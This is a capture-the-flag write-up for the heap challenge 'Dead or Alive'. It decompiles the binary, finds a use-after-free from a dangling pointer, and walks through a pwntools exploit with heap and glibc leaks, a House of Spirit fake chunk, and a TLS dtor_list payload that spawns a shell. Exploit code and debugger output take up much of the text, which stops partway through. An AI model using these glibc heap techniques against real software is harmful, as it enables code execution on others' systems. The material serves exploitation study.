Dead or Alive
20 minutes to read
We are given a 64-bit binary called dead_or_alive
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
Also, the binary is already patched to use a given Glibc version (2.35):
$ ldd dead_or_alive
linux-vdso.so.1 (0x00007ffe1cfce000)
libc.so.6 => ./glibc/libc.so.6 (0x00007ff94805d000)
glibc/ld-2.35.so => /lib64/ld-linux-x86-64.so.2 (0x00007ff94828d000)
$ glibc/ld-2.35.so glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Reverse engineering
If we open the binary in Ghidra, we will see this main
function:
void main() {
int option;
setup();
banner();
do {
while (true) {
while (option = menu(), option == 3) {
view();
}
if (option < 4) break;
LAB_00101a1a:
error("Invalid option");
}
if (option == 1) {
create();
} else {
if (option != 2) goto LAB_00101a1a;
delete();
}
} while (true);
}
It basically shows a menu where we can create bounties, delete them or view them. After reading the decompiled code of the three functions create
, delete
and view
, we can define a struct
that will be helpful to make the code more readable:
typedef struct bounty_t {
char* data;
ulong amount;
size_t size;
bool inuse;
bool alive;
} bounty_t;
Also, we must take into account that there is a global variable called Bounties
of type bounty_t*[50]
, and an int
global variable called bounty_idx
to manage the total number of bounties stored.
Allocation function
The code for create
is very simple. It checks the number of bounties stored, and if there is enough space, it reserves a chunk for the bounty_t
structure. After that, the program asks for some attributes, such as amount
, size
and alive
. This size
attribute must be less than 101
and defines the size of the chunk allocated for data
. Also, notice that inuse
is always set to true
:
void create() {
int alive;
char* p_data;
long in_FS_OFFSET;
ulong amount;
ulong size;
bounty_t* bounty;
char yn [2];
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
if (49 < bounty_idx) {
error("Maximum number of bounty registrations reached. Shutting down...");
/* WARNING: Subroutine does not return */
exit(-1);
}
printf("Bounty amount (Zell Bars): ");
amount = 0;
scanf("%lu", &amount);
printf("Wanted alive (y/n): ");
yn[0] = '\0';
yn[1] = '\0';
read(0, yn, 2);
alive = strcmp(yn, "y");
printf("Description size: ");
size = 0;
scanf("%lu", &size);
if (size < 101) {
bounty = (bounty_t*) malloc(0x20);
if (bounty == NULL) {
error("Failed to allocate space for bounty");
/* WARNING: Subroutine does not return */
exit(-1);
}
bounty->amount = amount;
bounty->alive = alive == 0;
bounty->size = size;
p_data = (char*) malloc(bounty->size);
bounty->data = p_data;
bounty->inuse = true;
if (bounty->data == NULL) {
error("Failed to allocate space for bounty description");
/* WARNING: Subroutine does not return */
exit(-1);
}
puts("Bounty description:");
read(0, bounty->data, bounty->size);
Bounties[bounty_idx] = bounty;
printf("Bounty ID: %d\n\n", (ulong) bounty_idx);
bounty_idx++;
} else {
error("Description size exceeds size limit");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Finally, the reference to bounty
is appended to the global array Bounties
.
Free function
Next, we have delete
, which is even simpler:
void delete() {
long in_FS_OFFSET;
int i;
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
printf("Bounty ID: ");
i = 0;
scanf("%d", &i);
if ((i < 0) || (bounty_idx <= (uint) i)) {
error("Bounty ID out of range");
} else if ((Bounties[i]->inuse == true) && (Bounties[i]->data != NULL)) {
free(Bounties[i]->data);
Bounties[i]->data = NULL;
Bounties[i]->inuse = false;
free(Bounties[i]);
putchar('\n');
} else {
error("Invalid ID");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Notice that both bounty->data
and bounty
are freed. Also, notice that bounty->data
is set to NULL
. However, observe that Bounties[i]
is not set to NULL
and bounty_idx
is not decreased. This will allow us to use a Bounties
index that was already deleted in our advantage, which is kind of a Use After Free vulnerability.
Information function
Last but not least, we have view
:
void view() {
char *alive;
long in_FS_OFFSET;
int i;
long canary;
canary = *(long*) (in_FS_OFFSET + 0x28);
printf("Bounty ID: ");
i = 0;
scanf("%d", &i);
if ((i < 0) || (49 < i)) {
error("ID out of range");
} else if (Bounties[i] == NULL) {
error("Bounty ID does not exist");
} else if (Bounties[i]->inuse == true) {
if (Bounties[i]->alive == false) {
alive = "No";
} else {
alive = "Yes";
}
printf("\nBounty: %lu Zell Bars\nWanted alive: %s\nDescription: %s\n", Bounties[i]->amount, alive, Bounties[i]->data);
} else {
error("Bounty has been removed");
}
if (canary != *(long*) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
This one is similar to delete
, in the sense that it asks for an index and just prints out the data of the bounty_t
structure as long as it is not NULL
and it is in use.
Summary
So, in summary, we can create structures on the heap like this:
The first one is always a 0x31
-sized chunk, while the data
chunk might have a size up to 0x64
(that will become a 0x71
-sized chunk).
Exploit strategy
When attempting a heap pwn challenge like this, I normally start thinking of ways to leak Glibc. Once I have that, I try to find a way to get another primitive to obtain arbitrary code execution.
Leaking memory addresses
This time, since the binary uses Glibc 2.35, Safe-Linking is enabled, which is a mitigation used to obfuscate fd
pointers in the Tcache free-lists. However, it is easy to bypass. For more information, check out CRSid, where I go more into detail on this. Therefore, we will also need a heap address leak, in order to obfuscate pointers when we obtain a write primitive.
The way to leak heap addresses is simple, because the program uses read
to get user input. As a result, we can free some objects and then enter a single character at the fd
position. Then, when using view
we will get almost the same fd
pointer, but stomped with a single character. But this is not a problem since the least significant 12 bits of any address are always the same.
The way to get a Glibc address will be more difficult, since our chunks are all of size less than 101 (0x65
). This means that only Tcache free-lists and Fast Bin free-lists can be used, which are singly-linked lists. Normally, the way to leak a Glibc address in a heap challenge is to free a large chunk so that it goes to the Unsorted Bin, which is a doubly linked list whose chunks hold fd
and bk
pointers to main_arena
.
Although the Glibc leak can be found in a simpler way, I used a trick with scanf
that can save us in many situations. When we enter a number with a lot of leading zeros, scanf
needs to store that long string somewhere… yes! on the heap! It seems that if we enter a number that has at least 1024 (0x400
) digits, scanf
calls malloc_consolidate
, allocates a chunk with the number string, processes it and then frees it. The point is malloc_consolidate
, because if we have Fast Bin chunks, they will become Small Bin chunks, and this is a doubly-linked list, so its chunks hold fd
and bk
pointers to main_arena
. At this point, we can use the previous procesure to leak using the view
function.
Actually, there’s even a nicer way to leak Glibc, because the bk
pointer coincides with the amount
offset at bounty_t
. Therefore, we can use another scanf
trick. We can enter a minus sign -
, and not digit, so that scanf
leaves the memory slot untouched! As a result, using view
we will see the Glibc leak.
House of Spirit
The fact that Bounties[i]
is not set to NULL
allows us to reuse this index later with delete
. For instance, if we create two bounties with a 0x21
-sized chunk as data
field, then we free both, and then we create a bounty with a 0x31
-sized chunk as data
field, we will be stomping on one of the already deleted fields.
As a result, we can set an arbitrary pointer in the data
offset, so that we can run free
on an arbitrary pointer. This is known as House of Spirit. We will use this primitive to get an overlapping chunks situation, so that we can clobber the fd
pointer of Tcache chunks and get an arbitrary write primitive.
Exploit development
We will use the following helper functions:
def create(size: int, data: bytes, amount: int | bytes = 1337, alive: bool = True) -> int:
io.sendlineafter(b'==> ', b'1')
io.sendlineafter(b'Bounty amount (Zell Bars): ', str(amount).encode() if isinstance(amount, int) else amount)
io.sendlineafter(b'Wanted alive (y/n): ', b'y' if alive else b'n')
io.sendlineafter(b'Description size: ', str(size).encode())
io.sendafter(b'Bounty description:\n', data)
io.recvuntil(b'Bounty ID: ')
return int(io.recvline().decode())
def delete(index: int):
io.sendlineafter(b'==> ', b'2')
io.sendlineafter(b'Bounty ID: ', str(index).encode())
def view(index: int) -> (int, bool, bytes):
io.sendlineafter(b'==> ', b'3')
io.sendlineafter(b'Bounty ID: ', str(index).encode())
io.recvuntil(b'Bounty: ')
amount = int(io.recvuntil(b' Zell Bars\nWanted alive: ', drop=True).decode())
alive = io.recvline() == b'Yes\n'
io.recvuntil(b'Description: ')
return amount, alive, io.recvline().strip()
Before starting, I will patch the binary to remove the call to usleep(15000)
that appears in the banner
function as an animation. We can use hexedit
for this:
$ diff <(objdump -M intel -d dead_or_alive) <(objdump -M intel -d dead_or_alive_patched)
2c2
< dead_or_alive: file format elf64-x86-64
---
> dead_or_alive_patched: file format elf64-x86-64
247c247,251
< 1320: e8 bb fe ff ff call 11e0 <usleep@plt>
---
> 1320: 90 nop
> 1321: 90 nop
> 1322: 90 nop
> 1323: 90 nop
> 1324: 90 nop
Let’s start by leaking a heap address. For this, we need to create two bounties and free them:
a = create(0x18, b'a')
b = create(0x18, b'b')
delete(a)
delete(b)
input('1')
We will get the following heap layout:
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000020002 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a320 0x000055a13790a2f0 | ..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=1,sz=0x30][2/2]
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00000|+0x002c0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a2d0|+0x00010|+0x002d0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=0,sz=0x20][2/2]
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a46d83dbaa 0x7d6e2088ec6b30a5 | ...m.U...0k.. n} | <- tcache[idx=1,sz=0x30][1/2]
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a310|+0x00000|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00010|+0x00320: 0x000055a46d83dbda 0x7d6e2088ec6b30a5 | ...m.U...0k.. n} | <- tcache[idx=0,sz=0x20][1/2]
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000000 0x0000000000020cd1 | ................ | <- top
0x55a13790a340|+0x00010|+0x00340: 0x0000000000000000 0x0000000000000000 | ................ |
* 8395 lines, 0x20cb0 bytes
Now we can create another chunk with a 0x21
-sized data
field to enter a single character:
leak_index = create(0x18, b'X')
_, _, data = view(leak_index)
The output of view
will give us the value 0x000055a46d83db58
:
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000010001 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a2d0 0x000055a13790a2a0 | ...7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=1,sz=0x30][1/1]
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00000|+0x002c0: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a2d0|+0x00010|+0x002d0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=0,sz=0x20][1/1]
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000000 0x0000000000000031 | ........1....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a13790a320 0x0000000000000539 | ..7.U..9....... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000101 | ................ |
0x55a13790a310|+0x00000|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00010|+0x00320: 0x000055a46d83db58 0x0000000000000000 | X..m.U.......... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000000 0x0000000000020cd1 | ................ | <- top
0x55a13790a340|+0x00010|+0x00340: 0x0000000000000000 0x0000000000000000 | ................ |
* 8395 lines, 0x20cb0 bytes
With this value and the appropriate functions to disable Safe-Linking we can find the heap base address:
def deobfuscate(x: int, l: int = 64) -> int:
p = 0
for i in range(l * 4, 0, -4):
v1 = (x & (0xf << i)) >> i
v2 = (p & (0xf << i + 12 )) >> i + 12
p |= (v1 ^ v2) << i
return p
heap_addr = deobfuscate(u64(data[1:].ljust(8, b'\0')) << 8) & 0xfffffffffffff000
io.info(f'Heap base address: {hex(heap_addr)}')
[*] Heap base address: 0x55a13790a000
Now, we proceed to find a Glibc leak. For this, I will use the malloc_consolidate
trick and the -
trick on scanf
. First, we need to fill the Tcache free-list for a given size and have some Fast Bin chunks:
delete(leak_index)
to_delete = []
for _ in range(9):
to_delete.append(create(0x18, b'asdf'))
for d in reversed(to_delete):
delete(d)
gef> bins
----------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a340 count=7
-> Chunk(base=0x55a13790a330, addr=0x55a13790a340, size=0x30, flags=PREV_INUSE, fd=0x55a46d83da9a(=0x55a13790a390))
-> Chunk(base=0x55a13790a380, addr=0x55a13790a390, size=0x30, flags=PREV_INUSE, fd=0x55a46d83daea(=0x55a13790a3e0))
-> Chunk(base=0x55a13790a3d0, addr=0x55a13790a3e0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd3a(=0x55a13790a430))
-> Chunk(base=0x55a13790a420, addr=0x55a13790a430, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd8a(=0x55a13790a480))
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 14 valid chunks in tcache.
------------------------------------ Fast Bins for arena 'main_arena' ------------------------------------
fastbins[idx=0, size=0x20, @0x7f4c79923c90]: fd=0x55a13790a310
-> Chunk(base=0x55a13790a310, addr=0x55a13790a320, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dbca(=0x55a13790a2c0))
-> Chunk(base=0x55a13790a2c0, addr=0x55a13790a2d0, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
fastbins[idx=1, size=0x30, @0x7f4c79923c98]: fd=0x55a13790a2e0
-> Chunk(base=0x55a13790a2e0, addr=0x55a13790a2f0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83db9a(=0x55a13790a290))
-> Chunk(base=0x55a13790a290, addr=0x55a13790a2a0, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 4 valid chunks in fastbins.
----------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------
[+] Found 0 valid chunks in unsorted bin (when traced from `bk`).
------------------------------------ Small Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 small bins (when traced from `bk`).
------------------------------------ Large Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`).
Now, we can enter a huge amount of 0
so that scanf
calls malloc_consolidate
and all the Fast Bin chunks get inserted in the Small Bin free-list:
io.sendlineafter(b'# ', b'0' * 1024)
gef> bins
----------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a340 count=7
-> Chunk(base=0x55a13790a330, addr=0x55a13790a340, size=0x30, flags=, fd=0x55a46d83da9a(=0x55a13790a390))
-> Chunk(base=0x55a13790a380, addr=0x55a13790a390, size=0x30, flags=PREV_INUSE, fd=0x55a46d83daea(=0x55a13790a3e0))
-> Chunk(base=0x55a13790a3d0, addr=0x55a13790a3e0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd3a(=0x55a13790a430))
-> Chunk(base=0x55a13790a420, addr=0x55a13790a430, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dd8a(=0x55a13790a480))
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
[+] Found 14 valid chunks in tcache.
------------------------------------ Fast Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in fastbins.
----------------------------------- Unsorted Bin for arena 'main_arena' -----------------------------------
[+] Found 0 valid chunks in unsorted bin (when traced from `bk`).
------------------------------------ Small Bins for arena 'main_arena' ------------------------------------
small_bins[idx=9, size=0xa0, @0x7f4c79923d80]: fd=0x55a13790a290, bk=0x7f4c79923d70
-> Chunk(base=0x55a13790a290, addr=0x55a13790a2a0, size=0xa0, flags=PREV_INUSE, fd=0x7f4c79923d70 <main_arena+0xf0>, bk=0x7f4c79923d70 <main_arena+0xf0>)
[+] Found 1 valid chunks in 1 small bins (when traced from `bk`).
------------------------------------ Large Bins for arena 'main_arena' ------------------------------------
[+] Found 0 valid chunks in 0 large bins (when traced from `bk`).
Now, since the bk
pointer also holds a pointer to main_arena
and it coincides with the position of amount
in the bounty_t
structure, we can use a minus sign so that scanf
leaves the value untouched:
leak_index = create(0x48, b'A' * 8, amount=b'-')
_, _, data = view(leak_index)
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000060007 0x0000000000000000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a390 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
* 30 lines, 0x1e0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... | <- unsortedbins[1/1]
0x55a13790a2f0|+0x00010|+0x002f0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000030 | P.......0....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
As can be seen, we have 8 A
and just after that, we have the Glibc leak. We only need to find it’s offset to the base address to bypass ASLR:
gef> libc
------------------------------------------------ libc info ------------------------------------------------
$libc = 0x7f4c7970a000
path: ./glibc/libc.so.6
sha512: 4ba40bc64c05bbd0cfc442e50db8b3f075bd623dbff672e2edc1491da8e7e666247fb828b744a35894ca3dc3cbc7da06b6f1c42d39864abd934878813ebe730f
sha256: 65e8b2bf36961f19908fb8b779139be5458ade165a1ee20a00b7e0b89a80f032
sha1: 57541c3937dfcb77c7d2e184bd41e14dff1b954e
md5: 0081c1e75ad0afcb24254e7889829f5b
ver: GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35.
gef> p/x 0x7f4c79923d70 - 0x7f4c7970a000
$1 = 0x219d70
glibc.address = u64(data[8:].ljust(8, b'\0')) - 0x219d70
io.success(f'Glibc base address: {hex(glibc.address)}')
[+] Glibc base address: 0x7f4c7970a000
At this point, we are ready to use the write primitive to get arbitrary code execution, by calling system("/bin/sh")
. I will be using TLS-storage dtor_list
, which I used several times (i.e. Zombiedote and Gloater). We actually need to separate the payload in two because we nave not enough space to fill it within a chunk (limited by 0x64
). So, I enter the mangled function address and parameter to execute on exit
, and the I null out the PTR_MANGLE
cookie to avoid having to leak it.
tls_addr = glibc.address - 0x28c0
tls_payload = p64(0)
tls_payload += p64(tls_addr - 0x80 + 0x30)
tls_payload += p64(glibc.sym.system << 17)
tls_payload += p64(next(glibc.search(b'/bin/sh')))
tls_payload += p64(0) * 8
null_ptr_mangle_cookie = p64(0)
The process requires some heap feng-shui to get all the relative offsets work properly. To begin with, we can create a fake chunk to exploit the House of Spirit later:
create(0x48, p64(heap_addr + 0x300) + p64(0x71) + p64(0x1337) + p64(0x101))
delete(create(0x64, b'asdf'))
delete(1)
gef> x/10gx &Bounties
0x55a134676060 <Bounties>: 0x000055a13790a2a0 0x000055a13790a2f0
0x55a134676070 <Bounties+16>: 0x000055a13790a2f0 0x000055a13790a2f0
0x55a134676080 <Bounties+32>: 0x000055a13790a2a0 0x000055a13790a340
0x55a134676090 <Bounties+48>: 0x000055a13790a390 0x000055a13790a3e0
0x55a1346760a0 <Bounties+64>: 0x000055a13790a430 0x000055a13790a480
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0000000000050007 0x0000000000010000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a3e0 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a0b0|+0x000b0|+0x000b0: 0x0000000000000000 0x000055a13790a570 | ........p..7.U.. |
0x55a13790a0c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 28 lines, 0x1c0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a13790a300 0x0000000000000071 | ...7.U..q....... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000001337 0x0000000000000101 | 7............... |
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000031 | P.......1....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Notice that 0x000055a13790a300
points to a fake 0x71
-sized chunk, and it also appears at indices 1
and 2
of the Bounties
global array. Therefore, we can delete it and get a free chunk right there:
delete(create(0x64, b'asdf'))
delete(1)
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
